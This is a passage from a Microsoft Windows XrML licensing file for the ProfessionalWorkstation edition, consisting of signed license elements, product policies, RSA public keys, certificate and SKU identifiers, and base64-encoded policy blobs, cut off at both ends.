Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>d63UPNSj9OV6eJQWsTqvOmEFRLA=</DigestValue></Reference></SignedInfo><SignatureValue>J/s6kCCGnIqPpblUddL76tTafiNL7091nIKm0xIedJiw/2KZpXj+C6QYzlHm8+kzuHW5OfjzJUU+N4p0yd8uo4ONaT9z2B+SBRvoRGvLxEPcFlwfLSoKZ2vG1WUIPSAIswo+MYQuIuTEjaPYE+m9AcK6AGl9Gqsp1REpMDuLivoIo76MpjhfCtWZTyDHxMcnoGhTup3ZT8B3kRcPhljs4Conf9/CLqiFGfWgzM44x2MrPuDSKAYYIQUhZ/Y/keJ4ifqkymPuCXG+zV+bIz7PnUpz9BR3kZ5DZSQvqtWzojL7QpCk3BlYg1V9X6/RWqBN4+ceNaYq+tyU2SrVaHT+HA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{9eb13207-3cfb-4ae0-b54f-63fdaefac594}</tm:infoStr><tm:infoStr name="productSkuId">{721f9237-9341-4453-a661-09e8baa6cca5}</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{304b0d6b-bed3-4f04-9a98-b6c10c370d33}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/phone/1.0">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</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{721f9237-9341-4453-a661-09e8baa6cca5}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>cKGUGBWwZa97WFOQPVnmUNP2klg=</DigestValue></Reference></SignedInfo><SignatureValue>JrKOBY7DAZZ60xlQapo/HK9cqEnK9cuckBhkg7JBN3+En2rt5j1wcKePsc37Dayhf7TuQTFFBjAfxsckYvbgw01ca2x0ei50P5upGpiPmus9cemIhBUY/ZhZMfAOqsjzEGNFzrHI4VhjEKDOFpvBEKgNFEWjkYO5RiVr7/jHpcRv9rCDghOHaNOE2jJKYIn08D2T5Ad18nvYM9p/ZBASJjn7sSiomYkK1ivL1KmZLas5osd5MjstZMwb2aXF21lxoeY6zyYuVMbovvu2pnUymylEqEPyvUkjKc5J9sUd3lblxAP+7MGrDQVmlG5mBc7X3Grmbu449rXZl46gK5RnzA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{721f9237-9341-4453-a661-09e8baa6cca5}</tm:infoStr><tm:infoStr name="privateCertificateId">{330158a4-84e6-4e79-83b9-e0f0aa3fa9ae}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_MAK channel</tm:infoStr><tm:infoStr name="UXDifferentiator">RETAIL</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="phone:policy">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</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{330158a4-84e6-4e79-83b9-e0f0aa3fa9ae}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" 